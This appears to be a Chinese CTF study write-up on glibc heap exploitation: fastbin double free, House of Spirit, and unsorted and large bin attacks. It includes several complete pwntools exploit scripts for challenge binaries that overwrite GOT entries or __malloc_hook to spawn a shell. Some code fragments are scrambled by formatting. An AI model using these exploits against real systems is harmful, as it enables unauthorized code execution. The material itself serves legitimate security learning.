fastbin_attack
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。
double_free
fastbin 的 chunk 可以被多次释放
当执行 free(p):
- glibc 会先确定这个 chunk 属于哪个 arena
- 找到对应大小的 fastbin 链表
- 检查 头部块(
main_arena.fastbinsY[idx])是否等于当前要释放的块p(防止简单的 double free)。 - 如果没问题,就把
p插入到链表头,也就是让它成为main_arena.fastbinsY[idx]的新头节点。
但是——它不会沿着整个链表检查后面的节点,所以如果链表后面已经有一个同样地址的块(双重释放形成重复节点),glibc 在 fastbin 阶段是察觉不到的。
1 | /* Another simple check: make sure the top of the bin is not the |
fastbin_dup_consolidate
先malloc一个再free掉,再malloc一个大的会唤起consolidate,把chunk放入之后再malloc会拿到那个指针
malloc_consolidate
典型触发点有几种:
- 有一次 大尺寸分配(通常请求 >= 某阈值,比如历史上是 0x400 对应 chunk size 0x410),malloc 在 slow-path 中为了寻找大块会先调用 consolidate 以把 fastbin 中块变成可合并的大块供分配使用。
- 释放(free)时,如果释放操作必须合并或处理非 fastbin 情形,也可能触发 consolidate(实现差异会影响何时调用)。
- 某些内部一致性/回收路径也会调用它来把 fastbin 清空。
执行流程
从fastbin中取出一个空闲chunk,尝试向后合并
如果不可以就向前合并,如果与top_chunk相邻就直接归入top_chunk
不相邻就插入unsorted_bin中,然后继续从fast_bin中取chunk,直到该链表为空
fastbin push(free 的 fast-path)
- 不会做合并、也不会修改被释放 chunk 的 size 字段。
- 会把 chunk 的第一个用户 qword(在 fd 存放位置)写成原来 fastbin 头(
p->fd = fb_head),并把arena->fastbinsY[idx] = p。- 不会去读/写
next_chunk的头部(也就不清next_chunk的 PREV_INUSE)。- 目标是最小写操作(性能优先)。
malloc_consolidate(slow-path)
- 会把 fastbin 中的节点一个个 pop 出来,在把它们带入主 bin / 合并前会对邻居做修正与检查。
- 其中一个必要操作是清除 next_chunk->PREV_INUSE 位,这个操作实质上是对
next_chunk->size的写(因为 PREV_INUSE 存在于 size 字段的最低位)。- 所以虽然 fast-path 不修改 size,但 consolidate 会修改 下一个 chunk 的 size 的低位(PREV_INUSE),以表示前驱已 free,从而允许合并。
1 | p1 = calloc(1,0x40); |
1 | p1 = calloc(1,0x40); |

1 | p3 = malloc(0x400); |

那个fastbin被合并进top_chunk,然后再从top_chunk开辟处0x400的空间
所以两个地方的指针相同
1 | free(p1) |

p1,p3指向相同,所以通过p1可以free掉p3
1 | p4 = malloc(0x400); |

fastbin_dup_into_stack&&Arbitrary Alloc
这两个技术十分相似,都是篡改fd指针指向伪造的chunk,而第二种技术相对来说,涵盖了第一种,我们直接简绍第二种
事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等
1 | int main(void) |
在这个例子,我们使用字节错位来实现直接分配 fastbin 到**_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。**
1 | 0x7ffff7dd1a88 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 |
0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的 size 域。因为这个程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80),如下所示
1 | //这里的size指用户区域,因此要小2倍SIZE_SZ |
通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个 0x000000000000007f
1 | 0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0 |
因为 0x7f 在计算 fastbin index 时(64位),是属于 index 5 的,即 chunk 大小为 0x70 的。
而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook 的内容 (在我的 libc 中__realloc_hook 与__malloc_hook 是在连在一起的)。
1 | 0x4005a8 <main+66> call 0x400450 <malloc@plt> |
House of Spirit
伪造一个假的堆块(Fake Chunk),并让 malloc/free 把它当成合法块处理,从而控制 fastbin 链表。
利用条件:
- 在目标地址周围能够伪造一个堆块。
- 能对伪造堆块地址周围进行一次释放(即将伪造的堆块地址作为free函数的参数进行一次释放操作)
- 释放之后能够重新申请得到这个堆块并篡改目标地址的内容
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
fake chunk 的 next chunk 的大小不能小于
2 * SIZE_SZ,同时也不能大于av->system_mem。因为会检查下一个chunk的size字段,如果下一个chunk的字段不在正常范围内会报错退出,所以在伪造chunk的时候。if` `(__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) ``//大于一个header ``<= 2 * SIZE_SZ, 0)``//SIZE_SZ是系统单位字节数 ``|| __builtin_expect (chunksize (chunk_at_offset (p, size)) ``>= av->system_mem, 0)) ``{ ``bool` `fail = ``true``; ``/* We might not have a lock at this point and concurrent modifications ``of system_mem might result in a false positive. Redo the test after ``getting the lock. */ ``if` `(!have_lock) ``{ ``__libc_lock_lock (av->mutex); ``fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ ``|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); ``__libc_lock_unlock (av->mutex); ``} ``if` `(fail) ``malloc_printerr (``"free(): invalid next size (fast)"``); ``}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>**`free()`要读取并验证 next->size**
> `free(p)` 不仅看 `p` 的头,而是会访问 `p` 之后的 chunk 的头部来判断是否可以合并、判断大小是否在合理范围内、判断该 header 是否越界等。若 next->size 字段看起来“荒唐”(比如非常小或非常大),就会认为堆已损坏并 abort。
>
>**防止向前合并(consolidation)**
> 如果 next chunk 的头表明前一块是空闲(`PREV_INUSE` 标志不正确),或者 next chunk 的 size 表示它是 top/chunkpool 的一部分,`free()` 会尝试合并或作特殊处理。为了**让 allocator 不去合并或不触发其它异常路径**,伪造的块需要让 next chunk 的头看起来“逻辑上正确”——典型做法是把 next->size 标为一个合规大小并且把 PREV_INUSE 置位,表明“上一个块(即我们伪造的块)是被占用/符合预期”,从而避免合并。
>
>**绕过大小/arena 检查**
> 新版本 glibc 会检查 chunk size 是否在 arena 可接受的范围(与 `av->system_mem`、最小块大小等比较)。如果 next->size 不在允许范围,`free()` 会报错。用 House of Spirit 时必须让 next->size 看起来既不“太小”也不“太大”,并满足对齐与标志位规则。
>
>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
}
long long data[0x20] = {0};
int main(){
int size = 0x70;
void *p;
init();
malloc(0); // fake chunk header
printf("%p\n",data);
data[0] = 0x0;
data[1] = size | 1; // prev_inuse_bit
data[size / 8] = 0x0;// fake next chunk header
data[(size / 8) + 1] = 0x11;
sleep(0);
// free user data place, fd.
free(&data[2]);
sleep(0);
// user's size == chunk_size - 0x10
p = malloc(size - 0x10);
printf("%p\n",p);
sleep(0);
}
1 |
|
gcc -Wl,-z,lazy -no-pie -z noexecstack -fno-stack-protector House_of_Spirit.c -o House_of_Spirit
1 |
|
0x6010a0
0x6010b0
1 |
|
add(0x10 , ‘aaaa’) #0
add(0x60 , ‘bbbb’) #1
free(1) #1
1 |
|
payload = 0x18 * b’a’ + p64(0x71) + p64(0x000000000060208d)
edit(0 , len(payload) , payload)
add(0x60 , ‘aaaa’) #1
1 |
|
payload1 = 3 * b’a’ + p64(0x1bf53)
add(0x60 , payload1) #2
1 |
|
from pwn import *
import sys
from LibcSearcher import *
file_path = “./222”
remote_host = “1.95.36.136”
remote_port = 2110
context(arch=’amd64’, os=’linux’, log_level=’debug’)
context.terminal = [
“cmd.exe”, “/c”,
“start”, “/max”, “”, “wt.exe”,
“–profile”, “WSL GDB (Black)”,
“–”, “wsl”, “bash”, “-lc”
]
elf = ELF(file_path)
libc = elf.libc
if ‘re’ in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,”b*”)
def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)
def add(size , content) :
p.sendafter(‘Your choice :’ , b’1’)
p.sendafter(‘Size of Heap : ‘ , str(size))
p.sendafter(‘Content of heap:’ , content)
def edit(idx , size , content) :
p.sendafter(‘Your choice :’ , b’2’)
p.sendafter(‘Index :’ , str(idx))
p.sendafter(‘Size of Heap : ‘ , str(size))
p.sendafter(‘Content of heap : ‘ , content)
def free(idx) :
p.sendafter(‘Your choice :’ , b’3’)
p.sendafter(‘Index :’ , str(idx))
add(0x10 , ‘aaaa’) #0
add(0x60 , ‘bbbb’) #1
free(1) #1
payload = 0x18 * b’a’ + p64(0x71) + p64(0x000000000060208d)
edit(0 , len(payload) , payload)
add(0x60 , ‘aaaa’) #1
payload1 = 3 * b’a’ + p64(0x1bf53)
add(0x60 , payload1) #2
p.sendafter(‘Your choice :’ , b’114514’)
p.interactive()
1 |
|
tar=0x00000000006020C0
add(0x30,b”111111111”)
add(0x80,b”222222”)
pay=p64(0)+p64(0x30)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2+p64(0x30)+p64(0x90)
edit(0,len(pay),pay)
free(1)
pay=p64(0)*3+p64(elf.got[“read”])
edit(0,len(pay),pay)
edit(0,8,p64(0x400D71))
p.interactive()
1 |
|
payload1 = b’a’*27+p32(elf.got[‘puts’])
add(b’a’*25,payload1)
show()
p.recvuntil(‘Description: ‘)
p.recvuntil(‘Description: ‘)
puts= u32(p.recvuntil(“\n”,drop=True)[:4])
print(hex(puts))
libc_base = puts - libc.symbols[‘puts’]
system_addr = libc_base + libc.symbols[‘system’]
1 |
|
num = 1
while num < 0x3f:
add(‘a’*25,’a’*27)
num += 1
payload2 = b’a’*27+p32(0x0804a2a8)
add(b’a’*25,payload2)
1 |
|
payload3 = b’\x00’*0x20+p32(0x50)
message(payload3)
order()
1 |
|
sscanf_got = elf.got[‘__isoc99_sscanf’]
add(p32(sscanf_got),b’a’)
message(p32(system_addr))
p.sendline(‘/bin/sh\0’)
1 |
|
from pwn import *
p = process(‘./oreo’)
elf = ELF(“./oreo”)
libc = ELF(‘./libc.so.6’)
context.terminal = [
“cmd.exe”, “/c”,
“start”, “/max”, “”, “wt.exe”,
“–profile”, “WSL GDB (Black)”,
“–”, “wsl”, “bash”, “-lc”
]
def dbg():
gdb.attach(p)
pause()
def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)
def add(descrip, name):
p.sendline(‘1’)
p.sendline(name)
p.sendline(descrip)
def show():
p.sendline(‘2’)
p.recvuntil(‘===================================\n’)
def order():
p.sendline(‘3’)
def message(notice):
p.sendline(‘4’)
p.sendline(notice)
payload1 = b’a’*27+p32(elf.got[‘puts’])
add(b’a’*25,payload1)
show()
p.recvuntil(‘Description: ‘)
p.recvuntil(‘Description: ‘)
puts= u32(p.recvuntil(“\n”,drop=True)[:4])
print(hex(puts))
libc_base = puts - libc.symbols[‘puts’]
system_addr = libc_base + libc.symbols[‘system’]
num = 1
while num < 0x3f:
add(‘a’*25,’a’*27)
num += 1
payload2 = b’a’*27+p32(0x0804a2a8)
add(b’a’*25,payload2)
payload3 = b’\x00’*0x20+p32(0x50)
message(payload3)
order()
p.recvuntil(b’Okay order submitted!\n’)
sscanf_got = elf.got[‘__isoc99_sscanf’]
add(p32(sscanf_got),b’a’)
message(p32(system_addr))
p.sendline(‘/bin/sh\0’)
p.interactive()
1 |
|
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
#下面两个真正进行解链
unsorted_chunks (av)->bk = bck;#连接第二放进去的
bck->fd = unsorted_chunks (av);#改fd为main_arena
1 |
|
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var=0;
unsigned long *p=malloc(400);
malloc(500);#防合并
free(p);
#改bk位
p[1]=(unsigned long)(&stack_var-2);#bk
malloc(400);#会把bk+0x10处改为malloc_arena
}
1 |
|
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf(“Nice jump d00d\n”); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
intptr_t* victim = malloc(0x100);
intptr_t* p1 = malloc(0x100);#防合并
free(victim);
#伪造chunk
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;#指向自身
victim[-1] = 32;#改自身size让malloc(0x100)时可以返回fake_chunk
victim[1] = (intptr_t)stack_buffer;#victim->bk=fake——chunk
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
}
1 |
|
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
delet(1)
delet(2)
1 |
|
pay=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,len(pay),pay)
pay=p64(0)*3+p64(0x21)
edit(3,len(pay),pay)
#dbg()
add(0x10)
add(0x10)#2
dbg()
1 |
|
pay=b”a”*0x18+p64(0x91)
edit(3,len(pay),pay)
add(0x80)#避免top chunk合并
delet(4)
show(2)
1 |
|
hook=u64(p.recvuntil(b”\x7f”)[-6:].ljust(8,b”\x00”))-0x58-0x10
libc=LibcSearcher(‘__malloc_hook’,hook)
libc_base=hook-libc.dump(“__malloc_hook”)
print(hex(libc_base))
1 |
|
add(0x60)
delet(4) #将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
dbg()
1 |
|
payload = p64(hook - 0x23)#改fd
edit(2,len(payload),payload)
add(0x60)
add(0x60)
payload = b’a’*(3+0x10)
payload += p64(libc_base+0x4526a)
edit(6,len(payload),payload)
add(16)
1 |
|
from pwn import *
import sys
from LibcSearcher import *
file_path = “./0ctf_2017_babyheap”
remote_host = “node5.buuoj.cn”
remote_port = 29397
context(arch=’amd64’, os=’linux’, log_level=’debug’)
context.terminal = [
“cmd.exe”, “/c”,
“start”, “/max”, “”, “wt.exe”,
“–profile”, “WSL GDB (Black)”,
“–”, “wsl”, “bash”, “-lc”
]
elf = ELF(file_path)
#libc = elf.libc
if ‘re’ in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,”b*”)
def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)
def add(size):
p.recvuntil(“Command: “)
p.sendline(str(1))
p.recvuntil(“Size: “)
p.sendline(str(size))
def edit(idx,size,content):
p.recvuntil(“Command: “)
p.sendline(str(2))
p.recvuntil(“Index: “)
p.sendline(str(idx))
p.recvuntil(“Size: “)
p.sendline(str(size))
p.recvuntil(“Content: “)
p.sendline(content)
def delet(idx):
p.recvuntil(“Command: “)
p.sendline(str(3))
p.recvuntil(“Index: “)
p.sendline(str(idx))
def show(idx):
p.recvuntil(“Command: “)
p.sendline(str(4))
p.recvuntil(“Index: “)
p.sendline(str(idx))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
delet(1)
delet(2)
#dbg()
pay=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,len(pay),pay)
pay=p64(0)*3+p64(0x21)
edit(3,len(pay),pay)
#dbg()
add(0x10)
add(0x10)#2
#dbg()
pay=b”a”*0x18+p64(0x91)
edit(3,len(pay),pay)
add(0x80)#避免top chunk合并
delet(4)
show(2)
hook=u64(p.recvuntil(b”\x7f”)[-6:].ljust(8,b”\x00”))-0x58-0x10
libc=LibcSearcher(‘__malloc_hook’,hook)
libc_base=hook-libc.dump(“__malloc_hook”)
print(“malloc_hook:”+hex(hook))
print(hex(libc_base))
#dbg()
add(0x60)
delet(4) #将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
#dbg()
payload = p64(hook - 0x23)#改fd
edit(2,len(payload),payload)
add(0x60)
add(0x60)
payload = b’a’*(3+0x10)
payload += p64(libc_base+0x4526a)
edit(6,len(payload),payload)
add(16)
p.interactive()
1 |
|
else//arena(av)》 bin头 <-> A(0x470) <-> B(0x460 head) <-> C(0x460) <-> D(0x450 head) <-> bin头
//每个arena中还有一个nextsize链
{//先定位 victim 属于哪个 largebin
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);//bck 先指向 该 largebin 的 bin 头(哨兵,不是 chunk)
fwd = bck->fd;//bin 头在 fd/bk 总链里指向的第一个 chunk(链首)A
if (fwd != bck)
{
size |= PREV_INUSE;
assert (chunk_main_arena (bck->bk));//检查arena中的最小的chunk确实属于该arena
//为arena中最小时
if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
//改变 victim 在 nextsize 链中的前后指针
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
//不是arena中最小的chunk时
else
{
assert (chunk_main_arena (fwd));
//在 nextsize(head 链)里定位插入点 fwd
while ((unsigned long) size < chunksize_nomask (fwd))//一直跳到 第一个 size 不再大于 victim 的 head 为止
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
//判断是否同 size → 决定“组内插入”还是“新建 head”
if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))
fwd = fwd->fd;
else//新建,把victim插入到 fwd 前面
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
1 |
|
p2[-1] = 0x3f1; // 伪造 p2.size 变小
p2[0] = 0; // 伪造 p2.fd
p2[2] = 0; // 伪造 p2.fd_nextsize
p2[1] = (unsigned long)(&stack_var1 - 2); // 伪造 p2.bk
p2[3] = (unsigned long)(&stack_var2 - 4); // 伪造 p2.bk_nextsize
1 |
|
malloc(0x90);
1 |
|
victim->bk_nextsize->fd_nextsize = victim;
1 |
|
victim->bk_nextsize = p2->bk_nextsize = &stack_var2 - 4
1 |
|
(&stack_var2 - 4)->fd_nextsize = victim
1 |
|
stack_var2 = victim (= p3的chunk地址)
1 |
|
bck = fwd->bk; // fwd 会落在 p2 附近
bck->fd = victim;
1 |
|
fwd->bk = p2->bk = &stack_var1 - 2
=> bck = &stack_var1 - 2
1 |
|
(&stack_var1 - 2)->fd = victim
1 |
|
stack_var1 = victim (= p3的chunk地址)
